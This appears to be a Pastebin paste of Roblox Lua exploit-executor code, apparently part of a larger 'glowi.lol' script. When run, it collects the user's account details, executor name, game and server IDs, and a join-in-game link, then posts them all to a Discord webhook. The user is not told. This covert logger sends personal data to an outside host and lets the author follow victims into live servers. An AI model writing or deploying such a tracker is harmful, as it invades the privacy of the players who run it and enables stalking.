Advertisement
EpicGamerSander1345

Untitled

Jun 7th, 2025
4
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.61 KB | None | 0 0
  1. -- Function to check if player has premium
  2. local function hasPremium()
  3. return player.MembershipType == Enum.MembershipType.Premium
  4. end
  5.  
  6. -- Function to make HTTP request (for getting friend count)
  7. local function makeRequest(url)
  8. -- Try all known request methods
  9. local success, response
  10.  
  11. -- Method 1: Synapse X / Script-Ware
  12. if syn and syn.request then
  13. success, response = pcall(function()
  14. return syn.request({
  15. Url = url,
  16. Method = "GET"
  17. })
  18. end)
  19. -- Method 2: KRNL and others
  20. elseif request then
  21. success, response = pcall(function()
  22. return request({
  23. Url = url,
  24. Method = "GET"
  25. })
  26. end)
  27. -- Method 3: HttpRequest
  28. elseif http_request then
  29. success, response = pcall(function()
  30. return http_request({
  31. Url = url,
  32. Method = "GET"
  33. })
  34. end)
  35. -- Method 4: AWP.GG
  36. elseif awpRequest then
  37. success, response = pcall(function()
  38. return awpRequest({
  39. Url = url,
  40. Method = "GET"
  41. })
  42. end)
  43. -- Method 5: Others
  44. elseif httpRequest then
  45. success, response = pcall(function()
  46. return httpRequest({
  47. Url = url,
  48. Method = "GET"
  49. })
  50. end)
  51. end
  52.  
  53. if success and response then
  54. return response.Body or response.body
  55. end
  56.  
  57. return nil
  58. end
  59.  
  60. -- Function to get friend count using Roblox API
  61. local function getFriendCount()
  62. local userId = player.UserId
  63.  
  64. -- Try the direct API method first
  65. local success, result = pcall(function()
  66. return Players:GetFriendsCount(userId)
  67. end)
  68.  
  69. if success and result and result > 0 then
  70. return result
  71. end
  72.  
  73. -- Try using Roblox API
  74. local apiUrl = "https://friends.roblox.com/v1/users/" .. userId .. "/friends/count"
  75. local responseBody = makeRequest(apiUrl)
  76.  
  77. if responseBody then
  78. -- Try to parse the JSON response
  79. success, result = pcall(function()
  80. return HttpService:JSONDecode(responseBody)
  81. end)
  82.  
  83. if success and result and result.count ~= nil then
  84. return result.count
  85. end
  86. end
  87.  
  88. -- Try an alternative endpoint
  89. apiUrl = "https://friends.roblox.com/v1/users/" .. userId .. "/friends"
  90. responseBody = makeRequest(apiUrl)
  91.  
  92. if responseBody then
  93. -- Try to parse the JSON response
  94. success, result = pcall(function()
  95. local parsed = HttpService:JSONDecode(responseBody)
  96. if parsed and parsed.data then
  97. return #parsed.data
  98. end
  99. return 0
  100. end)
  101.  
  102. if success and result then
  103. return result
  104. end
  105. end
  106.  
  107. -- Fallback to online friends method as last resort
  108. success, result = pcall(function()
  109. return #player:GetFriendsOnline()
  110. end)
  111.  
  112. if success and result then
  113. return result .. "+ (online)"
  114. end
  115.  
  116. return "Unknown"
  117. end
  118.  
  119. -- Function to get formatted time for footer
  120. local function getFormattedTime()
  121. local hours = os.date("%H")
  122. local minutes = os.date("%M")
  123.  
  124. -- Format as HH:MM
  125. return hours .. ":" .. minutes
  126. end
  127.  
  128. -- Function to detect which executor is being used (UNIVERSAL DETECTION)
  129. local function detectExecutor()
  130. -- Try to find ANY executor identification function
  131. local possibleIdentifyFunctions = {
  132. "identifyexecutor", "getexecutorname", "get_executor", "getexecutor",
  133. "executor_name", "executorname", "executor", "getexec", "get_exec",
  134. "exploit_name", "exploitname", "exploitinfo", "getexploitname", "detect_exploit",
  135. "executor_detect", "client_name", "client_info", "clientinfo", "clientname",
  136. "sw_getidentification", "sw_getid", "detectexploit", "detectexploiter",
  137. "getscriptenvname", "getscriptenvironment", "getexploitenvironment", "getenv"
  138. }
  139.  
  140. for _, funcName in ipairs(possibleIdentifyFunctions) do
  141. local success, result = pcall(function()
  142. -- Try to access this function in both global and _G contexts
  143. local func = _G[funcName] or getgenv()[funcName]
  144. if func and type(func) == "function" then
  145. local name = func()
  146. if name and type(name) == "string" and name ~= "" and name ~= "unknown" and name ~= "nil" then
  147. return name
  148. end
  149. end
  150. return nil
  151. end)
  152.  
  153. if success and result then
  154. return result
  155. end
  156. end
  157.  
  158. -- Standard executor identify functions
  159. if identifyexecutor then
  160. return identifyexecutor()
  161. elseif getexecutorname then
  162. return getexecutorname()
  163. elseif get_executor then
  164. return get_executor()
  165. end
  166.  
  167. -- Check environment variables and globals that can identify executors
  168. local executorChecks = {
  169. -- Newly requested executors
  170. {var = "Solara", name = "Solara"},
  171. {var = "SOLARA_LOADED", name = "Solara"},
  172. {var = "isSolara", name = "Solara"},
  173. {var = "Xeno", name = "Xeno"},
  174. {var = "XENO_LOADED", name = "Xeno"},
  175. {var = "Swift", name = "Swift"},
  176. {var = "SWIFT_LOADED", name = "Swift"},
  177. {var = "isSwift", name = "Swift"},
  178. {var = "Velocity", name = "Velocity"},
  179. {var = "VELOCITY_LOADED", name = "Velocity"},
  180. {var = "Ronix", name = "Ronix"},
  181. {var = "RONIX_LOADED", name = "Ronix"},
  182. {var = "isRonix", name = "Ronix"},
  183.  
  184. -- Major executors
  185. {var = "syn", name = "Synapse X"},
  186. {var = "KRNL_LOADED", name = "KRNL"},
  187. {var = "secure_load", name = "Sentinel"},
  188. {var = "is_sirhurt_closure", name = "SirHurt"},
  189. {var = "SHADOWEXPLOIT", name = "Shadow"},
  190. {var = "fluxus", name = "Fluxus"},
  191. {var = "awpRequest", name = "AWP.GG"},
  192. {var = "oxygen", name = "Oxygen U"},
  193. {var = "OXYGEN_LOADED", name = "Oxygen U"},
  194. {var = "IS_VIVA_LOADED", name = "Viva"},
  195. {var = "IS_ELECTRON_LOADED", name = "Electron"},
  196. {var = "IS_COCO_LOADED", name = "Coco Z"},
  197. {var = "IS_KIWI_LOADED", name = "Kiwi X"},
  198. {var = "IWXYI", name = "Iwxyi"},
  199. {var = "WrapGlobal", name = "WeAreDevs API"},
  200. {var = "PROTOSMASHER_LOADED", name = "ProtoSmasher"},
  201. {var = "IS_TRIGON_LOADED", name = "Trigon EVO"},
  202. {var = "EVON_LOADED", name = "Evon"},
  203. {var = "XAPIR", name = "Xapir"},
  204. {var = "ZYREX_LOADED", name = "Zyrex"},
  205. {var = "Sirhurtdevelopment", name = "SirHurt Development"},
  206. {var = "_G.EzHubLoaded", name = "EzHub"},
  207. {var = "easyexploits", name = "EasyExploits"},
  208. {var = "scriptware", name = "Script-Ware"},
  209. {var = "Elysian", name = "Elysian"},
  210. {var = "ElysianExecutor", name = "Elysian"},
  211. {var = "Delta", name = "Delta"},
  212. {var = "DELTA_LOADED", name = "Delta"},
  213. {var = "Comet", name = "Comet"},
  214. {var = "COMET_LOADED", name = "Comet"},
  215. {var = "Valyse", name = "Valyse"},
  216. {var = "VALYSE_LOADED", name = "Valyse"},
  217. {var = "exploit_type", name = function() return exploit_type end},
  218. {var = "_G.exploit", name = function() return _G.exploit end},
  219. {var = "Arceus", name = "Arceus X"},
  220. {var = "ARCEUS_LOADED", name = "Arceus X"},
  221. {var = "CacxTrinity", name = "Trinity"},
  222. -- More executors
  223. {var = "GarbageCleaner", name = "Celery"},
  224. {var = "Ran", name = "RainbowsARK"},
  225. {var = "RC_CREATE", name = "RC7"}
  226. }
  227.  
  228. -- Optimized check for common executors (faster)
  229. if syn then return "Synapse X" end
  230. if KRNL_LOADED then return "KRNL" end
  231. if identifyexecutor then return identifyexecutor() end
  232. if getexecutorname then return getexecutorname() end
  233. if fluxus then return "Fluxus" end
  234. if awpRequest then return "AWP.GG" end
  235.  
  236. -- Check for specific executor identifying globals
  237. for _, check in ipairs(executorChecks) do
  238. local success, result = pcall(function()
  239. return _G[check.var] ~= nil or getgenv()[check.var] ~= nil
  240. end)
  241.  
  242. if success and result then
  243. if type(check.name) == "function" then
  244. local success, name = pcall(check.name)
  245. if success and name then
  246. return tostring(name)
  247. end
  248. else
  249. return check.name
  250. end
  251. end
  252. end
  253.  
  254. -- Try to find the executor in the environment directly
  255. local function tryFindInEnv()
  256. local possibleNames = {
  257. "executor", "exploit", "client", "wrapper", "adapter", "module",
  258. "application", "app", "soft", "script", "environment", "type"
  259. }
  260.  
  261. for _, name in pairs(possibleNames) do
  262. if _G[name] then
  263. if type(_G[name]) == "string" then
  264. return _G[name]
  265. elseif type(_G[name]) == "table" and _G[name].Name then
  266. return _G[name].Name
  267. elseif type(_G[name]) == "table" and _G[name].name then
  268. return _G[name].name
  269. elseif type(_G[name]) == "table" and _G[name].Identity then
  270. return _G[name].Identity
  271. end
  272. end
  273. end
  274.  
  275. return nil
  276. end
  277.  
  278. local envResult = tryFindInEnv()
  279. if envResult then
  280. return envResult
  281. end
  282.  
  283. -- JJSploit often defines jit
  284. if jit and not syn then
  285. return "JJSploit"
  286. end
  287.  
  288. -- Check for debug.info which is used by Script-Ware
  289. if debug and debug.info and not syn then
  290. return "Script-Ware"
  291. end
  292.  
  293. return "Unknown Executor"
  294. end
  295.  
  296. -- Function to create a better join link
  297. local function createJoinLink()
  298. local placeId = game.PlaceId
  299. local jobId = game.JobId
  300.  
  301. -- Format for public servers that works better
  302. local joinLink = "https://www.roblox.com/games/" .. placeId .. "?privateServerLinkCode=&gameId=" .. jobId
  303.  
  304. return joinLink
  305. end
  306.  
  307. -- Function to get user avatar thumbnail URL (Using proper Roblox API)
  308. local function getAvatarURL()
  309. local userId = player.UserId
  310.  
  311. -- Try the circular avatar API first (this is what the example script uses)
  312. local thumbnailUrl = "https://thumbnails.roblox.com/v1/users/avatar?userIds=" .. userId .. "&size=420x420&format=Png&isCircular=true"
  313. local success, response = pcall(function()
  314. return HttpGet(thumbnailUrl)
  315. end)
  316.  
  317. -- If HttpGet doesn't work, try our makeRequest function
  318. if not success then
  319. local responseBody = makeRequest(thumbnailUrl)
  320. if responseBody then
  321. success, response = pcall(function()
  322. return HttpService:JSONDecode(responseBody)
  323. end)
  324.  
  325. if success and response and response.data and response.data[1] and response.data[1].imageUrl then
  326. return response.data[1].imageUrl
  327. end
  328. end
  329. else
  330. -- Try to decode the JSON from HttpGet
  331. success, response = pcall(function()
  332. return HttpService:JSONDecode(response)
  333. end)
  334.  
  335. if success and response and response.data and response.data[1] and response.data[1].imageUrl then
  336. return response.data[1].imageUrl
  337. end
  338. end
  339.  
  340. -- Fallback to direct headshot URL if API call fails
  341. return "https://www.roblox.com/headshot-thumbnail/image?userId=" .. userId .. "&width=420&height=420&format=png"
  342. end
  343.  
  344. -- Function to get user full body avatar URL
  345. local function getFullBodyAvatarURL()
  346. -- Use full body avatar for variety
  347. return "https://www.roblox.com/avatar-thumbnail/image?userId=" .. player.UserId .. "&width=420&height=420&format=png"
  348. end
  349.  
  350. -- Function to get user profile URL
  351. local function getProfileURL()
  352. return "https://www.roblox.com/users/" .. player.UserId .. "/profile"
  353. end
  354.  
  355. -- Calculate account age in more detailed format
  356. local function getDetailedAccountAge()
  357. local ageInDays = player.AccountAge
  358. local years = math.floor(ageInDays / 365)
  359. local remainingDays = ageInDays % 365
  360. local months = math.floor(remainingDays / 30)
  361. local days = remainingDays % 30
  362.  
  363. if years > 0 then
  364. return years .. " years, " .. months .. " months, " .. days .. " days"
  365. elseif months > 0 then
  366. return months .. " months, " .. days .. " days"
  367. else
  368. return days .. " days"
  369. end
  370. end
  371.  
  372. -- Function to get user information
  373. local function getUserInfo()
  374. local info = {
  375. Username = player.Name,
  376. DisplayName = player.DisplayName,
  377. UserId = player.UserId,
  378. AccountAge = getDetailedAccountAge(),
  379. Premium = hasPremium() and "Yes" or "No",
  380. FriendCount = getFriendCount(),
  381. GameId = game.PlaceId,
  382. GameName = "Unknown", -- We'll avoid MarketplaceService as it might be restricted
  383. JobId = game.JobId,
  384. TimeJoined = os.date("%Y-%m-%d %H:%M:%S"),
  385. CurrentTime = getFormattedTime(),
  386. JoinLink = createJoinLink(),
  387. AvatarURL = getAvatarURL(),
  388. FullBodyAvatarURL = getFullBodyAvatarURL(),
  389. ProfileURL = getProfileURL(),
  390. Executor = detectExecutor()
  391. }
  392.  
  393. -- Try to get game name safely
  394. pcall(function()
  395. info.GameName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
  396. end)
  397.  
  398. return info
  399. end
  400.  
  401. -- Function to safely do HttpGet with executor compatibility
  402. function HttpGet(url)
  403. -- Try all possible methods to do an HttpGet
  404. if syn and syn.request then
  405. local response = syn.request({
  406. Url = url,
  407. Method = "GET"
  408. })
  409. return response.Body
  410. elseif request then
  411. local response = request({
  412. Url = url,
  413. Method = "GET"
  414. })
  415. return response.Body
  416. elseif http_request then
  417. local response = http_request({
  418. Url = url,
  419. Method = "GET"
  420. })
  421. return response.Body
  422. elseif httpRequest then
  423. local response = httpRequest({
  424. Url = url,
  425. Method = "GET"
  426. })
  427. return response.Body
  428. elseif game.HttpGet then
  429. -- Last resort, try Roblox's HttpGet if available
  430. return game:HttpGet(url)
  431. end
  432.  
  433. -- If all methods fail
  434. error("No HTTP request function found")
  435. end
  436.  
  437. -- Function to send to Discord webhook using executor's function
  438. local function sendToWebhook()
  439. local userInfo = getUserInfo()
  440.  
  441. -- Format the Discord embed with profile author header and link
  442. local embed = {
  443. author = {
  444. name = userInfo.DisplayName .. " (@" .. userInfo.Username .. ")",
  445. url = userInfo.ProfileURL,
  446. icon_url = userInfo.AvatarURL
  447. },
  448. title = "💥 Script Executed with " .. userInfo.Executor .. " 💥",
  449. description = "**This person executed the script!**\n\n**[🔗 Click to Join Them In-Game](" .. userInfo.JoinLink .. ")**",
  450. color = 16711680, -- RED color (decimal value)
  451. fields = {
  452. {
  453. name = "👤 Username",
  454. value = "`" .. userInfo.Username .. "`",
  455. inline = true
  456. },
  457. {
  458. name = "📝 Display Name",
  459. value = "`" .. userInfo.DisplayName .. "`",
  460. inline = true
  461. },
  462. {
  463. name = "🆔 User ID",
  464. value = "`" .. tostring(userInfo.UserId) .. "`",
  465. inline = true
  466. },
  467. {
  468. name = "🗓️ Account Age",
  469. value = "`" .. userInfo.AccountAge .. "`",
  470. inline = true
  471. },
  472. {
  473. name = "💎 Premium",
  474. value = "`" .. userInfo.Premium .. "`",
  475. inline = true
  476. },
  477. {
  478. name = "👥 Friends",
  479. value = "`" .. tostring(userInfo.FriendCount) .. "`",
  480. inline = true
  481. },
  482. {
  483. name = "👨‍💻 Executor",
  484. value = "`" .. userInfo.Executor .. "`",
  485. inline = true
  486. },
  487. {
  488. name = "🎮 Game",
  489. value = "`" .. userInfo.GameName .. " (" .. userInfo.GameId .. ")`",
  490. inline = false
  491. },
  492. {
  493. name = "🔢 Job ID",
  494. value = "`" .. userInfo.JobId .. "`",
  495. inline = false
  496. }
  497. },
  498. thumbnail = {
  499. url = userInfo.AvatarURL -- BIG AVATAR IN TOP RIGHT
  500. },
  501. image = {
  502. url = userInfo.FullBodyAvatarURL -- Full body avatar at the bottom
  503. },
  504. footer = {
  505. text = "glowi.lol has been executed • Today at 📆" .. userInfo.CurrentTime
  506. }
  507. }
  508.  
  509. -- Create the webhook data
  510. local webhookData = {
  511. embeds = {embed},
  512. username = "glowi.lol"
  513. }
  514.  
  515. -- Convert to JSON - compatible with most executors
  516. local jsonData = HttpService:JSONEncode(webhookData)
  517.  
  518. -- Optimized request method for speed - try most common methods first
  519. local function tryRequest(method, url, data)
  520. if not method then return false end
  521.  
  522. local success, result = pcall(function()
  523. return method({
  524. Url = url,
  525. Method = "POST",
  526. Headers = {["Content-Type"] = "application/json"},
  527. Body = data
  528. })
  529. end)
  530.  
  531. return success
  532. end
  533.  
  534. -- Try the fastest methods first for better speed
  535. if syn and syn.request and tryRequest(syn.request, WEBHOOK_URL, jsonData) then
  536. return true
  537. elseif request and tryRequest(request, WEBHOOK_URL, jsonData) then
  538. return true
  539. elseif http_request and tryRequest(http_request, WEBHOOK_URL, jsonData) then
  540. return true
  541. elseif awpRequest and tryRequest(awpRequest, WEBHOOK_URL, jsonData) then
  542. return true
  543. elseif httpRequest and tryRequest(httpRequest, WEBHOOK_URL, jsonData) then
  544. return true
  545. end
  546.  
  547. -- Try other methods if the fast ones failed
  548. local methods = {
  549. solara and solara.request,
  550. xeno and xeno.request,
  551. swift and swift.request,
  552. velocity and velocity.request,
  553. ronix and ronix.request,
  554. http and http.request,
  555. fluxus and fluxus.request,
  556. krnl and krnl.request,
  557. oxygen and oxygen.request
  558. }
  559.  
  560. for _, method in pairs(methods) do
  561. if tryRequest(method, WEBHOOK_URL, jsonData) then
  562. return true
  563. end
  564. end
  565.  
  566. -- Fallback to generic request
  567. return pcall(function()
  568. local requestFunc = request or http_request or httpRequest
  569. if requestFunc then
  570. requestFunc({
  571. Url = WEBHOOK_URL,
  572. Method = "POST",
  573. Headers = {["Content-Type"] = "application/json"},
  574. Body = jsonData
  575. })
  576. else
  577. error("No compatible HTTP request function found")
  578. end
  579. end)
  580. end
  581.  
  582. -- Execute the webhook function
  583. sendToWebhook()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement